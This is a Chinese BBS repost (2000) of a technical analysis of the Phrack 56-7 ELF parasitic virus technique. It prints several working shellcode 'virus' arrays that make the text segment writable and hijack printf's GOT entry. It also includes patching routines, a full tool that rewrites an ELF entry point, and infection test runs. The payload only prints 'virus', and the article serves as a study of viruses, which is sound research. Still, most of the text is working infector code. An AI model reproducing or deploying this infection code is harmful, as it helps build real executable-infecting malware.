荔园在线
荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀
[回到开始]
[上一篇][下一篇]
发信人: ainny (为何要走到这一步), 信区: Hacker
标 题: Phrack56-7深度分析报告
发信站: BBS 荔园晨风站 (Mon Jun 26 06:49:59 2000), 转信
安全技术 绿盟月刊 防毒天地 安全论坛 安全产品交易平台 首页
安全漏洞 业界新闻 安全文摘 工具介绍 绿盟原创
安全文摘
所有系统 Linux UNIX Windows Other
Phrack56-7深度分析报告
发布日期: 2000-6-23
内容:
--------------------------------------------------------------------------------
作者:小四 (scz@isbase.com),袁哥 (yuange@isbase.com)
出处:http://www.isbase.com
主页:http://www.isbase.com
日期:2000-6-9
★ 前言
下面的讨论假设你已经看过Phrack56-7,如果没有请自行参看。
主要就Phrack56-7病毒代码如何保持控制权、如何不影响原有库函数功能做一纯
技术性讨论。
★ 保护模式下的一些技术讨论(袁哥)
设置文本段可写是非常重要的一项技术,因为我们的病毒代码需要不断修改GOT入口,
而这是文本段内容,通常文本段是不可写的。此外病毒代码本身位于文本段,而且做
了自修改处理,比如保存oldcall的4字节。
通常情况下看到的内存布局是这样的:
[scz@ /home/scz]> cat /proc/<pid>/maps
08048000-08049000 r-xp 00000000 03:06 151047 /home/scz/src/host_1
08049000-0804a000 rw-p 00000000 03:06 151047 /home/scz/src/host_1
设置文本段可写之后看到的内存布局是这样的:
[scz@ /home/scz]> cat /proc/<pid>/maps
08048000-08049000 rwxp 00000000 03:06 151217 /home/scz/src/host_1
08049000-0804a000 rwxp 00000000 03:06 151217 /home/scz/src/host_1
注意到现在数据段有了x权限,袁哥就此给出了技术说明。
--------------------------------------------------------------------------
"\xb8\x7d\x00\x00\x00" /* movl $125,%eax */
"\xbb\x00\x80\x04\x08" /* movl $text_start,%ebx */
"\xb9\x00\x40\x00\x00" /* movl $0x4000,%ecx */
"\xba\x07\x00\x00\x00" /* movl $7,%edx */
"\xcd\x80" /* int $0x80 */
--------------------------------------------------------------------------
EAX=125 INT80H 自然不用说,一个是功能号,一个是中断调用。
EBX=8048000H,显然是设置页面属性的起始地址,这儿是代码段起始地址。
ECX=4000H,大家想想8048000H本身不是代码段的标识,那么这儿系统调用的功能显
然不是设置代码段属性,应该是设置一段内存的页表属性,看看这段代码很自然地估
计ECX是设置页面属性的长度,EBX是起始地址。
EDX=7,这大家马上就能猜到是页面属性了吧。二进制的111,估计是可执行、可写、
可读三位。现在回头看看,08049000-0804A000也变成可执行,不难理解了吧。代码
段要变回去只读,不用我说了。
ok,在袁哥的技术支持下,我们重新调整代码:
--------------------------------------------------------------------------
"\xb8\x7d\x00\x00\x00" /* movl $125,%eax */
"\xbb\x00\x80\x04\x08" /* movl $text_start,%ebx */
"\xb9\x00\x10\x00\x00" /* movl $0x1000,%ecx */
"\xba\x03\x00\x00\x00" /* movl $3,%edx */
"\xcd\x80" /* int $0x80 */
--------------------------------------------------------------------------
[scz@ /home/scz]> cat /proc/<pid>/maps
08048000-08049000 rw-p 00000000 03:06 151217 /home/scz/src/host_1
08049000-0804a000 rw-p 00000000 03:06 151217 /home/scz/src/host_1
二进制的011分别对应了x、w、r三种权限,正是袁哥所判断的顺序,注意与通常Unix
文件权限反序了。
需要提醒大家的是,尽管现在文本段没有了x权限,但./host_1被./infect_1感染后,
依旧可以达到效果。显然在x权限的保护上,完全由段描述符完成,页描述符无法完
成x权限保护,而文本段自然是可以执行的,段寄存器所对应的段描述符是可执行段
描述符。关于保护模式这方面的知识,我就不献丑了,请坏大兔子哥哥自己出山吧。
★ 讨论
Silvio Cesare文中给出的例子代码有几处小问题,我修改得到两个infect_0.c和
infect_1.c。主要修改地方如下:
--------------------------------------------------------------------------
/* infect_0.c */
static char virus[] =
// 保存寄存器
"\x60" /* pusha */
// 设置文本段可写,这招很黑,可以用在其他地方 */
"\xb8\x7d\x00\x00\x00" /* movl $125,%eax */
"\xbb\x00\x80\x04\x08" /* movl $text_start,%ebx */
"\xb9\x00\x40\x00\x00" /* movl $0x4000,%ecx */
"\xba\x07\x00\x00\x00" /* movl $7,%edx */
"\xcd\x80" /* int $0x80 */
// plt对应printf的GOT入口地址
"\xa1\x00\x00\x00\x00" /* movl plt,%eax */
// oldcall对应原始GOT入口 */
"\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */
// newcall对应感染后的GOT入口 */
"\xc7\x05\x00\x90\x04" /* movl $newcall,plt */
"\x08\x00\x00\x00\x00"
// 恢复寄存器
"\x61" /* popa */
// 流程转向宿主程序原入口点
"\xbd\x00\x80\x04\x08" /* movl $entry,%ebp */
"\xff\xe5" /* jmp *%ebp */
// newcall:
"\xeb\x35" /* jmp msg_jmp */
// msg_call:
// 这个popl后堆栈已经平衡
"\x59" /* popl %ecx */ <-- 字符串地址
// 输出我们自己的字符串
"\xb8\x04\x00\x00\x00" /* movl $4,%eax */ <-- 功能号
"\xbb\x01\x00\x00\x00" /* movl $1,%ebx */
"\xba\x0e\x00\x00\x00" /* movl $6,%edx */ <-- 字符串长度,不包括\0
"\xcd\x80" /* int $0x80 */
"\x61" /* popa */
"\xb8\x00\x00\x00\x00" /* movl $oldcall,%eax */
"\xa3\x00\x00\x00\x00" /* movl %eax,plt */ <-- 此时该句已经无用
// 这个地方是不能call的,原因请看p56-7深度分析报告
"\xff\xe0" /* jmp *%eax */ <-- 这里jmp后流程不再回
到
"\xa1\x00\x00\x00\x00" /* movl plt,%eax */ 病毒代码
"\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */
"\xc7\x05\x00\x00\x00" /* movl $newcall,plt */
"\x08\x00\x00\x00\x00"
"\x58" /* popl %eax */
"\xc3" /* ret */
// msg_jmp:
"\x60" /* pusha */
"\xe8\xc5\xff\xff\xff" /* call msg_call */
"virus\n"
;
int init_virus ( int plt, int offset, int text_start, int data_start, int
data_memsz, int entry )
{
/* data_start实际上是phdr->p_vaddr,作者为什么起这么个变量名,见鬼 */
int code_start = data_start + data_memsz;
int oldcall = code_start + 73;
int newcall = code_start + 51;
*(int *)&virus[7] = text_start; // 设置文本段可写
*(int *)&virus[24] = plt; // printf的GOT入口地址
*(int *)&virus[29] = oldcall; // 原始GOT入口
*(int *)&virus[35] = plt;
*(int *)&virus[39] = newcall; // 感染后的GOT入口
*(int *)&virus[45] = entry; // 这里的程序入口点是原程序入口点
*(int *)&virus[73] = oldcall;
*(int *)&virus[78] = plt;
*(int *)&virus[85] = plt;
*(int *)&virus[90] = oldcall;
*(int *)&virus[96] = plt;
*(int *)&virus[100] = newcall;
/* 结论是令人沮丧的、不可捉摸的 */
return( SUCCESS );
} /* end of init_virus */
--------------------------------------------------------------------------
--------------------------------------------------------------------------
/* infect_1.c */
static char virus[] =
// 保存寄存器
"\x60" /* pusha */
// 设置文本段可写,这招很黑,可以用在其他地方 */
"\xb8\x7d\x00\x00\x00" /* movl $125,%eax */
"\xbb\x00\x80\x04\x08" /* movl $text_start,%ebx */
"\xb9\x00\x40\x00\x00" /* movl $0x4000,%ecx */
"\xba\x07\x00\x00\x00" /* movl $7,%edx */
"\xcd\x80" /* int $0x80 */
// plt对应printf的GOT入口地址
"\xa1\x00\x00\x00\x00" /* movl plt,%eax */
// oldcall对应原始GOT入口 */
"\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */
// newcall对应感染后的GOT入口 */
"\xc7\x05\x00\x90\x04" /* movl $newcall,plt */
"\x08\x00\x00\x00\x00"
// 恢复寄存器
"\x61" /* popa */
// 流程转向宿主程序原入口点
"\xbd\x00\x80\x04\x08" /* movl $entry,%ebp */
"\xff\xe5" /* jmp *%ebp */
// newcall:
"\xeb\x39" /* jmp msg_jmp */
// msg_call:
// 这个popl后堆栈已经平衡
"\x59" /* popl %ecx */
// 输出我们自己的字符串
"\xb8\x04\x00\x00\x00" /* movl $4,%eax */
"\xbb\x01\x00\x00\x00" /* movl $1,%ebx */
"\xba\x0e\x00\x00\x00" /* movl $6,%edx */
"\xcd\x80" /* int $0x80 */
"\xb8\x00\x00\x00\x00" /* movl $oldcall,%eax */
"\xa3\x00\x00\x00\x00" /* movl %eax,plt */
// 袁哥的技术支持
"\xff\x74\x24\x24" /* pushl +36(%esp) */ <-- 注意这里和后面的区别
// 如果这个地方一定要call,有很多限制
// 如果这个地方不call,又有新的问题,请看p56-7深度分析报告
"\xff\xd0" /* call *%eax */ <-- 由于使用call指令,流
程
"\xa1\x00\x00\x00\x00" /* movl plt,%eax */ 仍然会回到病毒代码,
但
"\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */ 对堆栈的限制性要求增
多
"\xc7\x05\x00\x00\x00" /* movl $newcall,plt */
"\x08\x00\x00\x00\x00"
"\x58" /* popl %eax */
"\x61" /* popa */
"\xc3" /* ret */
// msg_jmp:
"\x60" /* pusha */
"\xe8\xc1\xff\xff\xff" /* call msg_call */
"virus\n"
;
int init_virus ( int plt, int offset, int text_start, int data_start, int
data_memsz, int entry )
{
/* data_start实际上是phdr->p_vaddr,作者为什么起这么个变量名,见鬼 */
int code_start = data_start + data_memsz;
int oldcall = code_start + 72;
int newcall = code_start + 51;
*(int *)&virus[7] = text_start; // 设置文本段可写
*(int *)&virus[24] = plt; // printf的GOT入口地址
*(int *)&virus[29] = oldcall; // 原始GOT入口
*(int *)&virus[35] = plt;
*(int *)&virus[39] = newcall; // 感染后的GOT入口
*(int *)&virus[45] = entry; // 这里的程序入口点是原程序入口点
*(int *)&virus[72] = oldcall;
*(int *)&virus[77] = plt;
*(int *)&virus[88] = plt;
*(int *)&virus[93] = oldcall;
*(int *)&virus[99] = plt;
*(int *)&virus[103] = newcall;
/* 结论是令人沮丧的、不可捉摸的 */
return( SUCCESS );
} /* end of init_virus */
--------------------------------------------------------------------------
Silvio Cesare的infect_2.c相关代码如下:
--------------------------------------------------------------------------
/* infect_2.c */
static char virus[] =
// 保存寄存器
"\x60" /* pusha */
// 设置文本段可写,这招很黑,可以用在其他地方 */
"\xb8\x7d\x00\x00\x00" /* movl $125,%eax */
"\xbb\x00\x80\x04\x08" /* movl $text_start,%ebx */
"\xb9\x00\x40\x00\x00" /* movl $0x4000,%ecx */
"\xba\x07\x00\x00\x00" /* movl $7,%edx */
"\xcd\x80" /* int $0x80 */
// plt对应printf的GOT入口地址
"\xa1\x00\x00\x00\x00" /* movl plt,%eax */
// oldcall对应原始GOT入口 */
"\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */
// newcall对应感染后的GOT入口 */
"\xc7\x05\x00\x90\x04" /* movl $newcall,plt */
"\x08\x00\x00\x00\x00"
// 恢复寄存器
"\x61" /* popa */
// 流程转向宿主程序原入口点
"\xbd\x00\x80\x04\x08" /* movl $entry,%ebp */
"\xff\xe5" /* jmp *%ebp */
// newcall:
"\xeb\x38" /* jmp msg_jmp */
// msg_call:
// 这个popl后堆栈已经平衡
"\x59" /* popl %ecx */
// 输出我们自己的字符串
"\xb8\x04\x00\x00\x00" /* movl $4,%eax */
"\xbb\x01\x00\x00\x00" /* movl $1,%ebx */
"\xba\x0e\x00\x00\x00" /* movl $6,%edx */
"\xcd\x80" /* int $0x80 */
"\xb8\x00\x00\x00\x00" /* movl $oldcall,%eax */
"\xa3\x00\x00\x00\x00" /* movl %eax,plt */
"\xff\x75\xfc" /* pushl -4(%ebp) */ <-- 注意这里和前面的区别
// 如果这个地方一定要call,有很多限制
// 如果这个地方不call,又有新的问题,请看p56-7深度分析报告
"\xff\xd0" /* call *%eax */
"\xa1\x00\x00\x00\x00" /* movl plt,%eax */
"\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */
"\xc7\x05\x00\x00\x00" /* movl $newcall,plt */
"\x08\x00\x00\x00\x00"
"\x58" /* popl %eax */
"\x61" /* popa */
"\xc3" /* ret */
// msg_jmp:
"\x60" /* pusha */
"\xe8\xc2\xff\xff\xff" /* call msg_call */
"virus\n"
;
int init_virus ( int plt, int offset, int text_start, int data_start, int
data_memsz, int entry )
{
/* data_start实际上是phdr->p_vaddr,作者为什么起这么个变量名,见鬼 */
int code_start = data_start + data_memsz;
int oldcall = code_start + 72;
int newcall = code_start + 51;
*(int *)&virus[7] = text_start; // 设置文本段可写
*(int *)&virus[24] = plt; // printf的GOT入口地址
*(int *)&virus[29] = oldcall; // 原始GOT入口
*(int *)&virus[35] = plt;
*(int *)&virus[39] = newcall; // 感染后的GOT入口
*(int *)&virus[45] = entry; // 这里的程序入口点是原程序入口点
*(int *)&virus[72] = oldcall;
*(int *)&virus[77] = plt;
*(int *)&virus[87] = plt;
*(int *)&virus[92] = oldcall;
*(int *)&virus[98] = plt;
*(int *)&virus[102] = newcall;
/* 结论是令人沮丧的、不可捉摸的 */
return( SUCCESS );
} /* end of init_virus */
--------------------------------------------------------------------------
病毒代码取得整个进程的总入口点,这是通过静态修改elf文件做到的。当执行一个
感染后的elf文件时,一般操作系统会向内存调入elf文件,并从总入口点开始执行一
些初始化代码。一般总入口点是_start,链接的时候可以修改这个总入口点。当初始
化代码执行完毕就到了我们通常理解下的main()函数入口点。值得注意的是,gdb调
入感染文件时,总入口点尚未进入,此时查看GOT入口,还是正常的。但是,如果你
b main设置断点,run一下,此时流程早已经过总入口点,GOT入口已经被寄生代码修
改。如果一定要设置断点观察病毒代码,必须直接设置在总入口点上。可以用下面提
供的lookentry.c看到当前总入口点,然后在gdb里设置相应断点。
--------------------------------------------------------------------------
/*
* File : lookentry.c
* Author : Silvio Cesare < mailto: silvio@big.net.au >
* Rewriten: scz < mailto: scz@isbase.com >
* Compile : gcc -O3 -o lookentry lookentry.c
* Date : 2000-06-07
*/
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
#include <elf.h> /* 很重要的头文件 */
#include <string.h>
#include <stdlib.h>
#define SUCCESS 0
#define FAILURE -1
void lookelf ( int fd, Elf32_Ehdr * ehdr )
{
/* 读取 elf header */
if ( read( fd, ehdr, sizeof( Elf32_Ehdr ) ) != sizeof( Elf32_Ehdr ) )
{
perror( "read" );
exit( FAILURE );
}
/* Magic number and other info */
/* 检查是否是ELF文件格式,比较魔术数实现,file命令正是利用了这个 */
if ( strncmp( ehdr->e_ident, ELFMAG, SELFMAG ) )
{
fprintf( stderr, "File not ELF\n" );
exit( FAILURE );
}
/* 是可执行文件、动态链接库否 */
if ( ( ehdr->e_type != ET_EXEC ) && ( ehdr->e_type != ET_DYN ) )
{
fprintf( stderr, "ELF type not ET_EXEC or ET_DYN\n" );
exit( FAILURE );
}
/* i386架构否,难道没有586? */
if ( ( ehdr->e_machine != EM_386 ) && ( ehdr->e_machine != EM_486 ) )
{
fprintf( stderr, "ELF machine type not EM_386 or EM_486\n" );
exit( FAILURE );
}
if ( ehdr->e_version != EV_CURRENT )
{
fprintf( stderr, "ELF version not current\n" );
exit( FAILURE );
}
return;
} /* end of lookelf */
int main ( int argc, char * argv[] )
{
int fd;
Elf32_Ehdr ehdr; /* elf header */
if ( ( argc != 2 ) && ( argc != 3 ) )
{
fprintf( stderr, "Usage: %s <filename> [hex_entry]\n", argv[0] );
exit( FAILURE );
}
if ( argc == 2 ) /* 仅仅查看entry */
{
fd = open( argv[1], O_RDONLY );
if ( fd < 0 )
{
perror( "open" );
exit( FAILURE );
}
lookelf( fd, &ehdr );
fprintf( stderr, "Entry point (%s): 0x%x\n", argv[1], ehdr.e_entry );
}
else /* 修正entry */
{
fd = open( argv[1], O_RDWR );
if ( fd < 0 )
{
perror( "open" );
exit( FAILURE );
}
lookelf( fd, &ehdr );
fprintf( stderr, "Old Entry point (%s): 0x%x\n", argv[1], ehdr.e_entry )
;
if ( lseek( fd, 0, SEEK_SET ) < 0 )
{
perror( "lseek" );
exit( FAILURE );
}
ehdr.e_entry = strtoul( argv[2], NULL, 16 ); /* 采用16进制 */
if ( write( fd, &ehdr, sizeof( Elf32_Ehdr ) ) != sizeof( Elf32_Ehdr ) )
{
perror( "write" );
exit( FAILURE );
}
fprintf( stderr, "New Entry point (%s): 0x%x\n", argv[1], ehdr.e_entry )
;
}
return( SUCCESS );
} /* end of main */
/*
[scz@ /home/scz/src]> gcc -O3 -o lookentry lookentry.c
[scz@ /home/scz/src]> strip lookentry
[scz@ /home/scz/src]> ./lookentry ./lookentry
Entry point (./lookentry): 0x80484f0
[scz@ /home/scz/src]>
*/
--------------------------------------------------------------------------
对于printf( "hehe\n" );这样的语句来说,call指令之前先压栈传递了一个参数,
Silvio Cesare正是针对这种最简单情形来编写病毒代码的。即使如此,还是错误地
假设了堆栈里的很多情况,使用pushl -4(%ebp)这样的代码。他假设printf的主调函
数中在调用printf之前没有其他堆栈操作,偏偏编译器在优化开关打开时产生的代码
很可能影响堆栈。
--------------------------------------------------------------------------
/* host_1.c */
int main ( int argc, char * argv[] )
{
printf( "hi\n" );
printf( "hehe\n" );
printf( "haha\n" );
return;
} /* end of main */
--------------------------------------------------------------------------
如果我们采用gcc -O3 -o host_1 host_1.c编译,得到汇编代码如下:
--------------------------------------------------------------------------
0x80483c8 <main> : push %ebp
0x80483c9 <main+1> : mov %esp,%ebp
0x80483cb <main+3> : push $0x8048440
0x80483d0 <main+8> : call 0x8048308 <printf>
0x80483d5 <main+13>: push $0x8048444
0x80483da <main+18>: call 0x8048308 <printf>
0x80483df <main+23>: push $0x804844a
0x80483e4 <main+28>: call 0x8048308 <printf>
0x80483e9 <main+33>: leave
0x80483ea <main+34>: ret
--------------------------------------------------------------------------
由于优化开关-O3的影响,call之前为了传递参数而做的压栈操作并没有在call返回
之后立即做平衡堆栈处理,而是在主调函数的最后利用leave指令平衡堆栈。leave指
令相当于mov ebp --> esp,pop ebp。
gcc -o host_1 host_1.c编译得到汇编代码如下:
--------------------------------------------------------------------------
0x80483d0 <main> : push %ebp
0x80483d1 <main+1> : mov %esp,%ebp
0x80483d3 <main+3> : push $0x8048460
0x80483d8 <main+8> : call 0x8048308 <printf>
0x80483dd <main+13>: add $0x4,%esp <-- -- -- 这里在平衡堆栈
0x80483e0 <main+16>: push $0x8048464
0x80483e5 <main+21>: call 0x8048308 <printf>
0x80483ea <main+26>: add $0x4,%esp <-- -- -- 这里在平衡堆栈
0x80483ed <main+29>: push $0x804846a
0x80483f2 <main+34>: call 0x8048308 <printf>
0x80483f7 <main+39>: add $0x4,%esp <-- -- -- 这里在平衡堆栈
0x80483fa <main+42>: jmp 0x8048400 <main+48>
0x80483fc <main+44>: lea 0x0(%esi,1),%esi
0x8048400 <main+48>: leave
0x8048401 <main+49>: ret
--------------------------------------------------------------------------
事实上printf库函数本身并不对形参压栈做平衡堆栈操作,而是由主调函数自己决定
如何平衡堆栈。可以用gdb跟踪,并不断用i r ebp esp观察堆栈指针变换。此时虽然
每次call指令之后都有平衡堆栈操作,但主调函数的最后依旧使用了leave指令,这
是提高安全性的考虑,万一堆栈失衡还能补救。
说点题外话。编译器很狡猾,即使使用优化开关-O3,位于大循环中的printf语句,
编译得到的call指令之后始终立即平衡堆栈。什么意思,如果这里不平衡堆栈,就会
导致堆栈向低端疯狂生长,你说什么意思。显然编译器的优化开关会带来很多问题,
这也是书本建议不是绝对必要不要使用优化开关的原因。
现在问题出来了,如果printf的主调函数里只有一次printf调用,尚可将就,如果有
两次、三次呢,堆栈不断向低端生长,pushl -4(%ebp)的结果就是不断地重复显示第
一条printf语句的输出。我没有观察其他函数调用,但完全存在这样的可能,就是主
调函数里其他函数调用本身并不平衡堆栈,而是留待主调函数结束的时候执行
leave指令,那么如果printf调用前发生了其他库函数调用,pushl -4(%ebp)就更离
题万里,很可能导致segment fault。为了解决这个混帐问题,我修改该处代码为
pushl +36(%esp),现在的cpu已经支持这样的指令(在想什么,DOS吗?),不过可能
某些编译器依旧不支持这个汇编语法,于是我恭请坏大兔子哥哥出山,在SoftIce下
得到4字节的机器码。加36的意思是前面有个pusha操作,压栈了8个寄存器,总共32
个字节,再加上主调函数里call指令本身压栈的eip寄存器,就是36字节。
对于gcc -O3 -o host_1 host_1.c得到的程序,用infect_0、infect_1、infect_2分
别测试如下:
[scz@ /home/scz/src]> ./infect_0 ./host_1
[scz@ /home/scz/src]> ./host_1
virus <-- 只输出了一次
hi
hehe
haha
[scz@ /home/scz/src]>
[scz@ /home/scz/src]> ./infect_1 ./host_1
[scz@ /home/scz/src]> ./host_1
virus
hi
virus <-- 期望效果达到
hehe
virus
haha
[scz@ /home/scz/src]>
[scz@ /home/scz/src]> ./infect_2 ./host_1
[scz@ /home/scz/src]> ./host_1
virus
hi <-- 反复输出第一条printf语句
virus
hi <-- 反复输出第一条printf语句
virus
hi <-- 反复输出第一条printf语句
[scz@ /home/scz/src]>
Silvio Cesare在理论介绍中提到要保护寄存器,但给的例子代码并没有保护寄存器,
而这里ebx需要保护,此外ebp实际上更重要,将来leave指令是需要正确的ebp寄存器
才能平衡堆栈的。作者不知道是有意还是无意,在初始化病毒代码的时候出现了一些
异常,请自行比较infect_0.c、infect_1.c与Phrack56-7不同点。
infect_0.c里可以处理printf( "%s, %s, %s\n", ... );这种相对复杂的情况,而作
者提供的代码显然不能处理。因为printf有几个参数就需要在call之前压栈几次,
我们不可能在病毒代码里完整地重现压栈过程,你不知道究竟压过几次栈,也就无法
从堆栈中定位这些参数。我们所能做的就是恢复堆栈到刚刚执行call指令之后的状态,
然后jmp到原来的GOT入口,利用原来的堆栈结构。infect_0.c达到了这种效果,同样
这里需要保护ebx寄存器。可是这样处理意味着只能在第一次调用printf时有效,因
为利用原来的堆栈结构并jmp过去的话,返回的时候流程直接回到主调函数,不再经
过病毒代码,可是动态链接器会在第一次调用printf之后修改GOT入口,我们的病毒
代码失去控制权。你也不能在利用原堆栈结构的情况下call过去,call指令本身会压
栈,实际就破坏了原堆栈结构。没有好办法解决这个问题,所以我在注释中提到,结
论是令人沮丧的,infect_0.c的这种技术只具有研究性质,不大可能实战。演示效果
已经在前面给过了,回头再看看?
infect_1.c只能处理printf( "..." );这种最简单的情况。因为保护过寄存器、提供
pushl +36(%esp)这样的指令,同时是call原GOT入口,所以可以有效处理多次printf
的情形,总能保证主调函数调用printf的时候经过我们的病毒代码。第一次printf之
后动态链接器虽然修改了GOT入口,但从正常printf流程返回时经过我们的病毒代码,
在返回到主调函数之前,我们再次提取保存了当前GOT入口,并修改GOT入口重新指向
病毒代码,从而保证以后主调函数调用printf的时候还能获得控制权。infect_1.c的
这种技术比infect_0.c的还要糟糕,严重假设了宿主代码只使用printf( "..." );而
没有其他复杂用法,一旦宿主代码使用了printf的复杂用法,就要出乱子,堆栈不是
正确调用所期望的状态。
个人认为infect_0.c尚可一试,至少能普遍适用各种printf用法,虽然只能获得一次
控制权,已经足够做一些事情。
这里要提到LD_BIND_NOW环境变量,如果其值非空,在流程进入main()之前会修正GOT
入口,反之留待第一次调用printf之后由动态链接器修正。这个可以通过b main设置
断点,观察LD_BIND_NOW环境变量存在和不存在两种情况下的区别。有人可能想到
infect_0.c之所以只能取得一次控制权,就在于动态链接器在第一次调用printf之后
修改了GOT入口,那么设置LD_BIND_NOW环境变量后不就解决问题了吗。遗憾的是,我
们的病毒初始化代码在总入口点上,比判断LD_BIND_NOW环境变量并修正GOT入口的正
常初始化代码还要早,即使设置了这个环境变量,对于我们的病毒初始化代码,所保
存并企图反复利用的原GOT入口并不是期望的那个通过动态链接器修正得到的GOT入口,
于是问题依旧。尽管如此,还是加深了对这个环境变量的理解,遗憾中小有补偿。
我们仍以host_1.c为例说明一下LD_BIND_NOW环境变量的作用:
[scz@ /home/scz/src]> gcc -O3 -o host_1 host_1.c
[scz@ /home/scz/src]> export LD_BIND_NOW=1
[scz@ /home/scz/src]> gdb ./host_1
(gdb) disas printf
0x8048308 <printf> : jmp *0x8049488 <-- PLT入口
0x804830e <printf+6> : push $0x18
0x8048313 <printf+11>: jmp 0x80482c8 <_init+48>
(gdb) x 0x8049488
0x8049488 <_GLOBAL_OFFSET_TABLE_+24>: 0x0804830e <-- GOT入口
(gdb) b main
Breakpoint 1 at 0x80483cb
(gdb) r
Starting program: /home/scz/src/./host_1
Breakpoint 1, 0x80483cb in main ()
(gdb) x 0x8049488
0x8049488 <_GLOBAL_OFFSET_TABLE_+24>: 0x40064f4c <-- 已经被初始化代
(gdb) 码修改
虽然还没有调用printf库函数,但因为LD_BIND_NOW环境变量值非空,host_1的初始
化代码早在进入main()之前就修改了GOT入口。
[scz@ /home/scz/src]> unset LD_BIND_NOW
[scz@ /home/scz/src]> gdb ./host_1
(gdb) disas printf
Dump of assembler code for function printf:
0x8048308 <printf>: jmp *0x8049488
0x804830e <printf+6>: push $0x18
0x8048313 <printf+11>: jmp 0x80482c8 <_init+48>
End of assembler dump.
(gdb) x 0x8049488
0x8049488 <_GLOBAL_OFFSET_TABLE_+24>: 0x0804830e
(gdb) b main
Breakpoint 1 at 0x80483cb
(gdb) r
Starting program: /home/scz/src/./host_1
Breakpoint 1, 0x80483cb in main ()
(gdb) x 0x8049488
0x8049488 <_GLOBAL_OFFSET_TABLE_+24>: 0x0804830e <-- 留待第一次调用
(gdb) printf时修改
这次因为没有设置环境变量,所以GOT入口留待第一次调用printf时由动态链接器修
改。
当然我们不该忘记LD_PRELOAD环境变量,关于该环境变量请参看以前在华中的一瓢灌
水<< LD_PRELOAD使用的初步探讨(1) >>。该变量的最终效果类似于这里的病毒效果,
可以比较两种技术的优缺点。
★ 后记
还有很多很好的设想有待实现,本文只针对p56-7做技术性探讨。关于GOT和PLT请自
行参看tt的<<绕过Linux不可执行堆栈保护>>一文,本文不再赘述,关于ELF文件格
式,请参考前面翻译的<<Unix/ELF文件格式及病毒分析>>。对于p56-7,如有疑问欢
迎讨论。
<完>
版权所有,未经许可,不得转载 错误 'ASP 0113'
脚本超时
/showQueryL.asp
超过了脚本运行的最长时间。您可以通过指定 Server.ScriptTimeOut 属性值来修改此限制
或用 IIS 管理工具来修改它。
--
☆ 来源:.BBS 荔园晨风站 bbs.szu.edu.cn.[FROM: bbs@192.168.28.106]
[回到开始]
[上一篇][下一篇]
荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店